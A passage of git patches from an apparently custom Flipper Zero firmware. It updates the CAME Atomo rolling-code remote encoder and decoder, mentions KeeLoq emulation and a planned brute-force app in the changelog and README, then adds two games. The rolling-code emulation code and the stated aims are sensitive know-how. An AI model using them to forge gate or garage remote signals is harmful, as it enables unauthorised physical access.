2001 From: r3df0xx Date: Fri, 17 Jun 2022 17:20:50 +0300 Subject: [PATCH 325/461] Update came_atomo.c better encoder ? --- lib/subghz/protocols/came_atomo.c | 54 ++++++++++++++++++++++++++++--- 1 file changed, 49 insertions(+), 5 deletions(-) diff --git a/lib/subghz/protocols/came_atomo.c b/lib/subghz/protocols/came_atomo.c index 9f5ec0bbd..2a9767481 100644 --- a/lib/subghz/protocols/came_atomo.c +++ b/lib/subghz/protocols/came_atomo.c @@ -155,16 +155,33 @@ static void subghz_protocol_encoder_came_atomo_get_upload(SubGhzProtocolEncoderC pack[0] += (i+1); } + FURI_LOG_I(TAG, "TX encoder prepared: %02X %02X %02X %02X %02X %02X %02X %02X\n\n", + pack[0], pack[1], pack[2], pack[3], pack[4], pack[5], pack[6], pack[7]); + atomo_encrypt(pack); uint32_t hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3]; uint32_t lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7]; instance->generic.data = (uint64_t)hi << 32 | lo; + FURI_LOG_I(TAG, "TX encrypted data: %02X %02X %02X %02X %02X %02X %02X %02X\n\n", + pack[0], pack[1], pack[2], pack[3], pack[4], pack[5], pack[6], pack[7]); + instance->generic.data ^= 0xFFFFFFFFFFFFFFFF; instance->generic.data >>= 4; - instance->generic.data = (uint64_t)0x1 << 60 | instance->generic.data; + instance->generic.data &= 0xFFFFFFFFFFFFFFF; - for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) { + hi = instance->generic.data >> 32; + lo = instance->generic.data & 0xFFFFFFFF; + FURI_LOG_I(TAG, "TX inverted to upload: %02X %02X %02X %02X %02X %02X %02X %02X\n", + (hi >> 24), ((hi >> 16) & 0xFF), ((hi >> 8) & 0xFF), (hi & 0xFF), + (lo >> 24), ((lo >> 16) & 0xFF), ((lo >> 8) & 0xFF), (lo & 0xFF)); + + instance->encoder.upload[index++] = + level_duration_make(true, (uint32_t)subghz_protocol_came_atomo_const.te_long); + instance->encoder.upload[index++] = + level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_short); + + for(uint8_t i = (instance->generic.data_count_bit - 2); i > 0; i--) { if(!manchester_encoder_advance(&enc_state, !bit_read(instance->generic.data, i - 1), &result)) { instance->encoder.upload[index++] = subghz_protocol_encoder_came_atomo_add_duration_to_upload(result); manchester_encoder_advance(&enc_state, !bit_read(instance->generic.data, i - 1), &result); @@ -186,14 +203,26 @@ static void subghz_protocol_encoder_came_atomo_get_upload(SubGhzProtocolEncoderC pack[4] = ((instance->generic.data_2 >> 24) & 0xFF); pack[5] = ((instance->generic.data_2 >> 16) & 0xFF); pack[6] = ((instance->generic.data_2 >> 8) & 0xFF); pack[7] = (instance->generic.data_2 & 0xFF); + FURI_LOG_I(TAG, "TX NEW encoder prepared: %02X %02X %02X %02X %02X %02X %02X %02X\n\n", + pack[0], pack[1], pack[2], pack[3], pack[4], pack[5], pack[6], pack[7]); + atomo_encrypt(pack); uint32_t hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3]; uint32_t lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7]; instance->generic.data = (uint64_t)hi << 32 | lo; + FURI_LOG_I(TAG, "TX NEW encrypted data: %02X %02X %02X %02X %02X %02X %02X %02X\n\n", + pack[0], pack[1], pack[2], pack[3], pack[4], pack[5], pack[6], pack[7]); + instance->generic.data ^= 0xFFFFFFFFFFFFFFFF; instance->generic.data >>= 4; - instance->generic.data = (uint64_t)0x1 << 60 | instance->generic.data; + instance->generic.data &= 0xFFFFFFFFFFFFFFF; + + hi = instance->generic.data >> 32; + lo = instance->generic.data & 0xFFFFFFFF; + FURI_LOG_I(TAG, "TX inverted to upload: %02X %02X %02X %02X %02X %02X %02X %02X\n", + (hi >> 24), ((hi >> 16) & 0xFF), ((hi >> 8) & 0xFF), (hi & 0xFF), + (lo >> 24), ((lo >> 16) & 0xFF), ((lo >> 8) & 0xFF), (lo & 0xFF)); } bool subghz_protocol_encoder_came_atomo_deserialize(void* context, FlipperFormat* flipper_format) { @@ -436,8 +465,20 @@ static void subghz_protocol_came_atomo_remote_controller( * 0x0 - Last zero nibble * */ + uint32_t hi = instance->data >> 32; + uint32_t lo = instance->data & 0xFFFFFFFF; + FURI_LOG_I(TAG, "RX received data: %02X %02X %02X %02X %02X %02X %02X %02X\n\n", + (hi >> 24), ((hi >> 16) & 0xFF), ((hi >> 8) & 0xFF), (hi & 0xFF), + (lo >> 24), ((lo >> 16) & 0xFF), ((lo >> 8) & 0xFF), (lo & 0xFF)); + instance->data ^= 0xFFFFFFFFFFFFFFFF; instance->data <<= 4; + + hi = instance->data >> 32; + lo = instance->data & 0xFFFFFFFF; + FURI_LOG_I(TAG, "RX inverted data: %02X %02X %02X %02X %02X %02X %02X %02X\n\n", + (hi >> 24), ((hi >> 16) & 0xFF), ((hi >> 8) & 0xFF), (hi & 0xFF), + (lo >> 24), ((lo >> 16) & 0xFF), ((lo >> 8) & 0xFF), (lo & 0xFF)); uint8_t pack[8] = {}; pack[0] = (instance->data >> 56); pack[1] = ((instance->data >> 48) & 0xFF); @@ -447,6 +488,9 @@ static void subghz_protocol_came_atomo_remote_controller( atomo_decrypt(pack); + FURI_LOG_I(TAG, "RX decrypted data: %02X %02X %02X %02X %02X %02X %02X %02X\n\n", + pack[0], pack[1], pack[2], pack[3], pack[4], pack[5], pack[6], pack[7]); + instance->cnt_2 = pack[0]; instance->cnt = (uint16_t)pack[1] << 8 | pack[2]; instance->serial = (uint32_t)(pack[3]) << 24 | pack[4] << 16 | pack[5] << 8 | pack[6]; @@ -457,8 +501,8 @@ static void subghz_protocol_came_atomo_remote_controller( if(btn_decode == 0x4) {instance->btn = 0x3;} if(btn_decode == 0x6) {instance->btn = 0x4;} - uint32_t hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3]; - uint32_t lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7]; + hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3]; + lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7]; instance->data_2 = (uint64_t)hi << 32 | lo; } From 43e26b8f836fde10f8d048af3677e8ff2208de9c Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 17 Jun 2022 18:39:15 +0300 Subject: [PATCH 326/461] Update came_atomo.c remove excess logging to save more free space --- lib/subghz/protocols/came_atomo.c | 43 ++----------------------------- 1 file changed, 2 insertions(+), 41 deletions(-) diff --git a/lib/subghz/protocols/came_atomo.c b/lib/subghz/protocols/came_atomo.c index 2a9767481..4f5ab9cf6 100644 --- a/lib/subghz/protocols/came_atomo.c +++ b/lib/subghz/protocols/came_atomo.c @@ -155,27 +155,15 @@ static void subghz_protocol_encoder_came_atomo_get_upload(SubGhzProtocolEncoderC pack[0] += (i+1); } - FURI_LOG_I(TAG, "TX encoder prepared: %02X %02X %02X %02X %02X %02X %02X %02X\n\n", - pack[0], pack[1], pack[2], pack[3], pack[4], pack[5], pack[6], pack[7]); - atomo_encrypt(pack); uint32_t hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3]; uint32_t lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7]; instance->generic.data = (uint64_t)hi << 32 | lo; - - FURI_LOG_I(TAG, "TX encrypted data: %02X %02X %02X %02X %02X %02X %02X %02X\n\n", - pack[0], pack[1], pack[2], pack[3], pack[4], pack[5], pack[6], pack[7]); instance->generic.data ^= 0xFFFFFFFFFFFFFFFF; instance->generic.data >>= 4; instance->generic.data &= 0xFFFFFFFFFFFFFFF; - hi = instance->generic.data >> 32; - lo = instance->generic.data & 0xFFFFFFFF; - FURI_LOG_I(TAG, "TX inverted to upload: %02X %02X %02X %02X %02X %02X %02X %02X\n", - (hi >> 24), ((hi >> 16) & 0xFF), ((hi >> 8) & 0xFF), (hi & 0xFF), - (lo >> 24), ((lo >> 16) & 0xFF), ((lo >> 8) & 0xFF), (lo & 0xFF)); - instance->encoder.upload[index++] = level_duration_make(true, (uint32_t)subghz_protocol_came_atomo_const.te_long); instance->encoder.upload[index++] = @@ -203,26 +191,14 @@ static void subghz_protocol_encoder_came_atomo_get_upload(SubGhzProtocolEncoderC pack[4] = ((instance->generic.data_2 >> 24) & 0xFF); pack[5] = ((instance->generic.data_2 >> 16) & 0xFF); pack[6] = ((instance->generic.data_2 >> 8) & 0xFF); pack[7] = (instance->generic.data_2 & 0xFF); - FURI_LOG_I(TAG, "TX NEW encoder prepared: %02X %02X %02X %02X %02X %02X %02X %02X\n\n", - pack[0], pack[1], pack[2], pack[3], pack[4], pack[5], pack[6], pack[7]); - atomo_encrypt(pack); uint32_t hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3]; uint32_t lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7]; instance->generic.data = (uint64_t)hi << 32 | lo; - - FURI_LOG_I(TAG, "TX NEW encrypted data: %02X %02X %02X %02X %02X %02X %02X %02X\n\n", - pack[0], pack[1], pack[2], pack[3], pack[4], pack[5], pack[6], pack[7]); instance->generic.data ^= 0xFFFFFFFFFFFFFFFF; instance->generic.data >>= 4; instance->generic.data &= 0xFFFFFFFFFFFFFFF; - - hi = instance->generic.data >> 32; - lo = instance->generic.data & 0xFFFFFFFF; - FURI_LOG_I(TAG, "TX inverted to upload: %02X %02X %02X %02X %02X %02X %02X %02X\n", - (hi >> 24), ((hi >> 16) & 0xFF), ((hi >> 8) & 0xFF), (hi & 0xFF), - (lo >> 24), ((lo >> 16) & 0xFF), ((lo >> 8) & 0xFF), (lo & 0xFF)); } bool subghz_protocol_encoder_came_atomo_deserialize(void* context, FlipperFormat* flipper_format) { @@ -464,21 +440,9 @@ static void subghz_protocol_came_atomo_remote_controller( * 0x0 - Button code (4-bit, 0x0 - #1 left-up; 0x2 - #2 right-up; 0x4 - #3 left-down; 0x6 - #4 right-down) * 0x0 - Last zero nibble * */ - - uint32_t hi = instance->data >> 32; - uint32_t lo = instance->data & 0xFFFFFFFF; - FURI_LOG_I(TAG, "RX received data: %02X %02X %02X %02X %02X %02X %02X %02X\n\n", - (hi >> 24), ((hi >> 16) & 0xFF), ((hi >> 8) & 0xFF), (hi & 0xFF), - (lo >> 24), ((lo >> 16) & 0xFF), ((lo >> 8) & 0xFF), (lo & 0xFF)); instance->data ^= 0xFFFFFFFFFFFFFFFF; instance->data <<= 4; - - hi = instance->data >> 32; - lo = instance->data & 0xFFFFFFFF; - FURI_LOG_I(TAG, "RX inverted data: %02X %02X %02X %02X %02X %02X %02X %02X\n\n", - (hi >> 24), ((hi >> 16) & 0xFF), ((hi >> 8) & 0xFF), (hi & 0xFF), - (lo >> 24), ((lo >> 16) & 0xFF), ((lo >> 8) & 0xFF), (lo & 0xFF)); uint8_t pack[8] = {}; pack[0] = (instance->data >> 56); pack[1] = ((instance->data >> 48) & 0xFF); @@ -487,9 +451,6 @@ static void subghz_protocol_came_atomo_remote_controller( pack[6] = ((instance->data >> 8) & 0xFF); pack[7] = (instance->data & 0xFF); atomo_decrypt(pack); - - FURI_LOG_I(TAG, "RX decrypted data: %02X %02X %02X %02X %02X %02X %02X %02X\n\n", - pack[0], pack[1], pack[2], pack[3], pack[4], pack[5], pack[6], pack[7]); instance->cnt_2 = pack[0]; instance->cnt = (uint16_t)pack[1] << 8 | pack[2]; @@ -501,8 +462,8 @@ static void subghz_protocol_came_atomo_remote_controller( if(btn_decode == 0x4) {instance->btn = 0x3;} if(btn_decode == 0x6) {instance->btn = 0x4;} - hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3]; - lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7]; + uint32_t hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3]; + uint32_t lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7]; instance->data_2 = (uint64_t)hi << 32 | lo; } From 85133429079a41a648bca78712ead9ef1cb5f082 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 18 Jun 2022 01:54:29 +0300 Subject: [PATCH 327/461] Update CHANGELOG.md --- CHANGELOG.md | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 2753708a1..5b19b0029 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,16 +1,19 @@ ### New Update +* Fix KeeLoq Uknown behavior, patch StarLine same way +* Fix incorrect var in protocol Scher-Khan (by @Skorpionm) +* Came Atomo working emulation algorytm! +#### Previous changes * Updated UniRF Remix app, .txt file support * Fixed macOS Brewfile, so compiling on macOS now works * Updated CAME Atomo * Updated mf classic dict * Seed value now shows on KeeLoq screen -#### Previous changes * KeeLoq protocol rework. * Came Atomo emulation beta-test. * Fix critical issue with keeloq manufacturer name random change: - now you can emulate any manufacturer system with proper key handling. +* now you can emulate any manufacturer system with proper key handling. * Came Atomo parcel counter increasing and emulation. Beta test: - (need rework signal header and make button counter cycle array for encoder). +* (need rework signal header and make button counter cycle array for encoder). * Added Spectrum analyzer. * CAME Atomo - Save & Send - beta test, proper work is not guaranteed. * Removed similar frequencies. From 9d46f62be1ffa17bc8d13b68b8708ccfec17e82e Mon Sep 17 00:00:00 2001 From: Eng1n33r Date: Mon, 20 Jun 2022 15:03:06 +0300 Subject: [PATCH 328/461] remove unused env var in git branch name --- make/git.mk | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/make/git.mk b/make/git.mk index 8c0cd73ad..ea3d16f44 100644 --- a/make/git.mk +++ b/make/git.mk @@ -1,5 +1,5 @@ GIT_COMMIT := $(shell git rev-parse --short HEAD || echo 'unknown') -GIT_BRANCH := $(shell echo $${WORKFLOW_BRANCH_OR_TAG-$$(git rev-parse --abbrev-ref HEAD || echo 'unknown')}) +GIT_BRANCH := $(shell git rev-parse --abbrev-ref HEAD || echo 'dev-cfw') GIT_BRANCH_NUM := $(shell git rev-list --count HEAD || echo 'nan') BUILD_DATE := $(shell date '+%d-%m-%Y' || echo 'unknown') BUILD_TIME := $(shell date '+%H:%M:%S' || echo 'unknown') From eb625f971f157f073791e8e4ee70632d70cdffc8 Mon Sep 17 00:00:00 2001 From: Eng1n33r Date: Tue, 21 Jun 2022 05:50:34 +0300 Subject: [PATCH 329/461] two new games & music player patch --- CHANGELOG.md | 9 +- ReadMe.md | 4 +- applications/applications.c | 19 + applications/applications.mk | 18 +- applications/arkanoid/arkanoid_game.c | 410 ++++++++++++++++++ applications/music_player/music_player.c | 2 +- .../music_player/music_player_worker.c | 2 +- applications/snake_game/snake_game.c | 5 + applications/tetris_game/tetris_game.c | 7 +- applications/tictactoe_game/tictactoe_game.c | 349 +++++++++++++++ 10 files changed, 817 insertions(+), 8 deletions(-) create mode 100644 applications/arkanoid/arkanoid_game.c create mode 100644 applications/tictactoe_game/tictactoe_game.c diff --git a/CHANGELOG.md b/CHANGELOG.md index 5b19b0029..0c511eae0 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,8 +1,11 @@ ### New Update -* Fix KeeLoq Uknown behavior, patch StarLine same way -* Fix incorrect var in protocol Scher-Khan (by @Skorpionm) -* Came Atomo working emulation algorytm! +* Games: Snake & Tetis now shows score +* Volume patch in music player (testing needed) +* Two new games: Arkanoid & Tic Tac Toe #### Previous changes +* Fixed KeeLoq Uknown behavior, patched StarLine same way +* Fixed incorrect var in protocol Scher-Khan (by @Skorpionm) +* Came Atomo working emulation algorithm! * Updated UniRF Remix app, .txt file support * Fixed macOS Brewfile, so compiling on macOS now works * Updated CAME Atomo diff --git a/ReadMe.md b/ReadMe.md index 7e4953982..596fb3273 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -5,7 +5,7 @@ Welcome to Flipper Zero's Custom Firmware repo! Our goal is to make any features possible in this device without any limitations! -Please help us realize emulation for all dynamic (rolling codes) protocols and brute-force app! +Please help us implement emulation for all dynamic (rolling codes) protocols and brute-force app!

@@ -177,6 +177,8 @@ Use **`flipper-z-{target}-full-{suffix}.dfu`** to flash your device. - [WAV Player (By DrZlo13)](https://github.com/flipperdevices/flipperzero-firmware/tree/zlo/wav-player) With Fix From [Atmanos](https://github.com/at-manos) - [Tetris (By jeffplang)](https://github.com/jeffplang/flipperzero-firmware/tree/tetris_game/applications/tetris_game) - [Spectrum Analyzer (By jolcese)](https://github.com/jolcese/flipperzero-firmware/tree/spectrum/applications/spectrum_analyzer) +- [Arkanoid (By gotnull)](https://github.com/gotnull/flipperzero-firmware-wPlugins) +- [Tic Tac Toe (By gotnull)](https://github.com/gotnull/flipperzero-firmware-wPlugins) # Links diff --git a/applications/applications.c b/applications/applications.c index 247c601c5..d06e48aa8 100644 --- a/applications/applications.c +++ b/applications/applications.c @@ -56,6 +56,8 @@ extern int32_t spectrum_analyzer_app(void* p); // Games extern int32_t snake_game_app(void* p); extern int32_t tetris_game_app(void *p); +extern int32_t tictactoe_game_app(void* p); +extern int32_t arkanoid_game_app(void* p); // On system start hooks declaration extern void bt_on_system_start(); @@ -405,6 +407,23 @@ const FlipperApplication FLIPPER_GAMES[] = { .flags = FlipperApplicationFlagDefault}, #endif + +#ifdef APP_ARKANOID_GAME + {.app = arkanoid_game_app, + .name = "Arkanoid", + .stack_size = 1024, + .icon = &A_Plugins_14, + .flags = FlipperApplicationFlagDefault}, +#endif + +#ifdef APP_TICTACTOE_GAME + {.app = tictactoe_game_app, + .name = "Tic Tac Toe", + .stack_size = 1024, + .icon = &A_Plugins_14, + .flags = FlipperApplicationFlagDefault}, +#endif + }; const size_t FLIPPER_GAMES_COUNT = COUNT_OF(FLIPPER_GAMES); diff --git a/applications/applications.mk b/applications/applications.mk index 60a339bdf..d176e5ac4 100644 --- a/applications/applications.mk +++ b/applications/applications.mk @@ -51,9 +51,13 @@ APP_SPECTRUM_ANALYZER = 1 # Plugins APP_MUSIC_PLAYER = 1 -APP_SNAKE_GAME = 1 APP_WAV_PLAYER = 1 + +# Games +APP_SNAKE_GAME = 1 APP_TETRIS_GAME = 1 +APP_TICTACTOE_GAME = 1 +APP_ARKANOID_GAME = 1 # Debug APP_ACCESSOR = 1 @@ -278,6 +282,18 @@ CFLAGS += -DAPP_SPECTRUM_ANALYZER SRV_GUI = 1 endif +APP_TICTACTOE_GAME ?= 0 +ifeq ($(APP_TICTACTOE_GAME),1) +CFLAGS += -DAPP_TICTACTOE_GAME +SRV_GUI = 1 +endif + +APP_ARKANOID_GAME ?= 0 +ifeq ($(APP_ARKANOID_GAME),1) +CFLAGS += -DAPP_ARKANOID_GAME +SRV_GUI = 1 +endif + APP_IBUTTON ?= 0 ifeq ($(APP_IBUTTON), 1) CFLAGS += -DAPP_IBUTTON diff --git a/applications/arkanoid/arkanoid_game.c b/applications/arkanoid/arkanoid_game.c new file mode 100644 index 000000000..676b13a55 --- /dev/null +++ b/applications/arkanoid/arkanoid_game.c @@ -0,0 +1,410 @@ +#include +#include +#include +#include +#include +#include + +#define TAG "Arkanoid" + +unsigned int COLUMNS = 13; //Columns of bricks +unsigned int ROWS = 4; //Rows of bricks +int dx = -1; //Initial movement of ball +int dy = -1; //Initial movement of ball +int xb; //Balls starting possition +int yb; //Balls starting possition +bool released; //If the ball has been released by the player +bool paused = false; //If the game has been paused +int xPaddle; //X position of paddle +bool isHit[4][13]; //Array of if bricks are hit or not +bool bounced = false; //Used to fix double bounce glitch +int lives = 3; //Amount of lives +int level = 1; //Current level +unsigned int score = 0; //Score for the game +unsigned int brickCount; //Amount of bricks hit +int pad, pad2, pad3; //Button press buffer used to stop pause repeating +int oldpad, oldpad2, oldpad3; +char text[16]; //General string buffer +bool start = false; //If in menu or in game +bool initialDraw = false; //If the inital draw has happened +char initials[3]; //Initials used in high score + +//Ball Bounds used in collision detection +int leftBall; +int rightBall; +int topBall; +int bottomBall; + +//Brick Bounds used in collision detection +int leftBrick; +int rightBrick; +int topBrick; +int bottomBrick; + +int tick; + +#define FLIPPER_LCD_WIDTH 128 +#define FLIPPER_LCD_HEIGHT 64 + +typedef enum { EventTypeTick, EventTypeKey } EventType; + +typedef enum { DirectionUp, DirectionRight, DirectionDown, DirectionLeft } Direction; + +typedef enum { GameStatePlaying, GameStateGameOver } GameState; + +typedef struct { + int x; + int y; +} Point; + +typedef struct { + GameState game_state; +} ArkanoidState; + +typedef struct { + EventType type; + InputEvent input; +} GameEvent; + +// generate number in range [min,max) +int rand_range(int min, int max) { + int number = min + rand() % (max - min); + return number; +} + +void intro(Canvas* canvas) { + canvas_set_font(canvas, FontPrimary); + canvas_draw_str(canvas, 46, 0, "Arkanoid"); + + //arduboy.tunes.tone(987, 160); + //delay(160); + //arduboy.tunes.tone(1318, 400); + //delay(2000); +} + +void move_ball(Canvas* canvas) { + tick++; + if(released) { + //Move ball + if(abs(dx) == 2) { + xb += dx / 2; + // 2x speed is really 1.5 speed + if(tick % 2 == 0) xb += dx / 2; + } else { + xb += dx; + } + yb = yb + dy; + + //Set bounds + leftBall = xb; + rightBall = xb + 2; + topBall = yb; + bottomBall = yb + 2; + + //Bounce off top edge + if(yb <= 0) { + yb = 2; + dy = -dy; + // arduboy.tunes.tone(523, 250); + } + + //Lose a life if bottom edge hit + if(yb >= FLIPPER_LCD_HEIGHT) { + canvas_draw_frame(canvas, xPaddle, FLIPPER_LCD_HEIGHT - 1, 11, 1); + xPaddle = 54; + yb = 60; + released = false; + lives--; + + sprintf(text, "LIVES:%u", lives); + canvas_draw_str(canvas, 0, 90, text); + + // arduboy.tunes.tone(175, 250); + if(rand_range(0, 2) == 0) { + dx = 1; + } else { + dx = -1; + } + } + + //Bounce off left side + if(xb <= 0) { + xb = 2; + dx = -dx; + // arduboy.tunes.tone(523, 250); + } + + //Bounce off right side + if(xb >= FLIPPER_LCD_WIDTH - 2) { + xb = FLIPPER_LCD_WIDTH - 4; + dx = -dx; + // arduboy.tunes.tone(523, 250); + } + + //Bounce off paddle + if(xb + 1 >= xPaddle && xb <= xPaddle + 12 && yb + 2 >= FLIPPER_LCD_HEIGHT - 1 && + yb <= FLIPPER_LCD_HEIGHT) { + dy = -dy; + dx = ((xb - (xPaddle + 6)) / 3); //Applies spin on the ball + // prevent straight bounce + if(dx == 0) { + dx = (rand_range(0, 2) == 1) ? 1 : -1; + } + // arduboy.tunes.tone(200, 250); + } + + //Bounce off Bricks + for(int row = 0; row < ROWS; row++) { + for(int column = 0; column < COLUMNS; column++) { + if(!isHit[row][column]) { + //Sets Brick bounds + leftBrick = 10 * column; + rightBrick = 10 * column + 10; + topBrick = 6 * row + 1; + bottomBrick = 6 * row + 7; + + //If A collison has occured + if(topBall <= bottomBrick && bottomBall >= topBrick && + leftBall <= rightBrick && rightBall >= leftBrick) { + // Draw score + score += (level * 10); + sprintf(text, "SCORE:%u", score); + canvas_draw_str(canvas, 80, 90, text); + + brickCount++; + isHit[row][column] = true; + canvas_draw_frame(canvas, 10 * column, 2 + 6 * row, 8, 4); + + //Vertical collision + if(bottomBall > bottomBrick || topBall < topBrick) { + //Only bounce once each ball move + if(!bounced) { + dy = -dy; + yb += dy; + bounced = true; + // arduboy.tunes.tone(261, 250); + } + } + + //Hoizontal collision + if(leftBall < leftBrick || rightBall > rightBrick) { + //Only bounce once brick each ball move + if(!bounced) { + dx = -dx; + xb += dx; + bounced = true; + // arduboy.tunes.tone(261, 250); + } + } + } + } + } + } + + //Reset Bounce + bounced = false; + } else { + //Ball follows paddle + xb = xPaddle + 5; + } +} + +void draw_lives(Canvas* canvas) { + sprintf(text, "LIVES:%u", lives); + canvas_draw_str(canvas, 0, 90, text); +} + +void draw_ball(Canvas* canvas) { + canvas_draw_dot(canvas, xb, yb); + canvas_draw_dot(canvas, xb + 1, yb); + canvas_draw_dot(canvas, xb, yb + 1); + canvas_draw_dot(canvas, xb + 1, yb + 1); + + move_ball(canvas); +} + +void draw_paddle(Canvas* canvas) { + canvas_draw_frame(canvas, xPaddle, FLIPPER_LCD_HEIGHT - 1, 11, 1); +} + +void reset_level(Canvas* canvas) { + //Undraw paddle + canvas_draw_frame(canvas, xPaddle, FLIPPER_LCD_HEIGHT - 1, 11, 1); + + //Undraw ball + canvas_draw_dot(canvas, xb, yb); + canvas_draw_dot(canvas, xb + 1, yb); + canvas_draw_dot(canvas, xb, yb + 1); + canvas_draw_dot(canvas, xb + 1, yb + 1); + + //Alter various variables to reset the game + xPaddle = 54; + yb = 60; + brickCount = 0; + released = false; + + // Reset all brick hit states + for(int row = 0; row < ROWS; row++) { + for(int column = 0; column < COLUMNS; column++) { + isHit[row][column] = false; + } + } +} + +static void arkanoid_state_init(ArkanoidState* const arkanoid_state) { + // Set the initial game state + arkanoid_state->game_state = GameStatePlaying; + + // Reset initial state + initialDraw = false; +} + +static void arkanoid_draw_callback(Canvas* const canvas, void* ctx) { + const ArkanoidState* arkanoid_state = acquire_mutex((ValueMutex*)ctx, 25); + if(arkanoid_state == NULL) { + return; + } + + //Initial level draw + if(!initialDraw) { + initialDraw = true; + + // Set default font for text + canvas_set_font(canvas, FontPrimary); + + //Draws the new level + reset_level(canvas); + } + + //Draws new bricks and resets their values + for(int row = 0; row < ROWS; row++) { + for(int column = 0; column < COLUMNS; column++) { + if(!isHit[row][column]) { + canvas_draw_frame(canvas, 10 * column, 2 + 6 * row, 8, 4); + } + } + } + + if(lives > 0) { + draw_paddle(canvas); + + draw_ball(canvas); + + if(brickCount == ROWS * COLUMNS) { + level++; + reset_level(canvas); + } + } else { + reset_level(canvas); + initialDraw = false; + start = false; + lives = 3; + score = 0; + } + + release_mutex((ValueMutex*)ctx, arkanoid_state); +} + +static void arkanoid_input_callback(InputEvent* input_event, osMessageQueueId_t event_queue) { + furi_assert(event_queue); + + GameEvent event = {.type = EventTypeKey, .input = *input_event}; + osMessageQueuePut(event_queue, &event, 0, osWaitForever); +} + +static void arkanoid_update_timer_callback(osMessageQueueId_t event_queue) { + furi_assert(event_queue); + + GameEvent event = {.type = EventTypeTick}; + osMessageQueuePut(event_queue, &event, 0, 0); +} + +int32_t arkanoid_game_app(void* p) { + osMessageQueueId_t event_queue = osMessageQueueNew(8, sizeof(GameEvent), NULL); + + ArkanoidState* arkanoid_state = malloc(sizeof(ArkanoidState)); + arkanoid_state_init(arkanoid_state); + + ValueMutex state_mutex; + if(!init_mutex(&state_mutex, arkanoid_state, sizeof(ArkanoidState))) { + FURI_LOG_E(TAG, "Cannot create mutex\r\n"); + free(arkanoid_state); + return 255; + } + + // Set system callbacks + ViewPort* view_port = view_port_alloc(); + view_port_draw_callback_set(view_port, arkanoid_draw_callback, &state_mutex); + view_port_input_callback_set(view_port, arkanoid_input_callback, event_queue); + + osTimerId_t timer = + osTimerNew(arkanoid_update_timer_callback, osTimerPeriodic, event_queue, NULL); + osTimerStart(timer, osKernelGetTickFreq() / 22); + + // Open GUI and register view_port + Gui* gui = furi_record_open("gui"); + gui_add_view_port(gui, view_port, GuiLayerFullscreen); + + GameEvent event; + for(bool processing = true; processing;) { + osStatus_t event_status = osMessageQueueGet(event_queue, &event, NULL, 100); + ArkanoidState* arkanoid_state = (ArkanoidState*)acquire_mutex_block(&state_mutex); + + if(event_status == osOK) { + // Key events + if(event.type == EventTypeKey) { + if(event.input.type == InputTypePress || event.input.type == InputTypeLong || + event.input.type == InputTypeRepeat) { + switch(event.input.key) { + case InputKeyBack: + processing = false; + break; + case InputKeyRight: + if(xPaddle < FLIPPER_LCD_WIDTH - 12) { + xPaddle += 8; + } + break; + case InputKeyLeft: + if(xPaddle > 0) { + xPaddle -= 8; + } + break; + case InputKeyUp: + break; + case InputKeyDown: + break; + case InputKeyOk: + //Release ball if FIRE pressed + released = true; + + //Apply random direction to ball on release + if(rand_range(0, 2) == 0) { + dx = 1; + } else { + dx = -1; + } + + //Makes sure the ball heads upwards + dy = -1; + break; + } + } + } + } else { + // Event timeout + FURI_LOG_D(TAG, "osMessageQueue: Event timeout"); + } + + view_port_update(view_port); + release_mutex(&state_mutex, arkanoid_state); + } + + view_port_enabled_set(view_port, false); + gui_remove_view_port(gui, view_port); + furi_record_close("gui"); + view_port_free(view_port); + osMessageQueueDelete(event_queue); + furi_record_close("notification"); + + return 0; +} \ No newline at end of file diff --git a/applications/music_player/music_player.c b/applications/music_player/music_player.c index 9b5dda0fa..06c7140d1 100644 --- a/applications/music_player/music_player.c +++ b/applications/music_player/music_player.c @@ -253,7 +253,7 @@ MusicPlayer* music_player_alloc() { instance->model = malloc(sizeof(MusicPlayerModel)); memset(instance->model->duration_history, 0xff, MUSIC_PLAYER_SEMITONE_HISTORY_SIZE); memset(instance->model->semitone_history, 0xff, MUSIC_PLAYER_SEMITONE_HISTORY_SIZE); - instance->model->volume = 3; + instance->model->volume = 1; instance->model_mutex = osMutexNew(NULL); diff --git a/applications/music_player/music_player_worker.c b/applications/music_player/music_player_worker.c index f43aa7be8..949477e11 100644 --- a/applications/music_player/music_player_worker.c +++ b/applications/music_player/music_player_worker.c @@ -79,7 +79,7 @@ static int32_t music_player_worker_thread_callback(void* context) { furi_hal_speaker_stop(); furi_hal_speaker_start(frequency, volume); while(instance->should_work && furi_hal_get_tick() < next_tick) { - volume *= 0.9945679; + volume *= 1.0000000; furi_hal_speaker_set_volume(volume); furi_hal_delay_ms(2); } diff --git a/applications/snake_game/snake_game.c b/applications/snake_game/snake_game.c index b07210ee5..1f33d414b 100644 --- a/applications/snake_game/snake_game.c +++ b/applications/snake_game/snake_game.c @@ -84,6 +84,11 @@ static void snake_game_render_callback(Canvas* const canvas, void* ctx) { canvas_draw_box(canvas, p.x, p.y, 4, 4); } + // Show score on the game field + char buffer2[6]; + snprintf(buffer2, sizeof(buffer2), 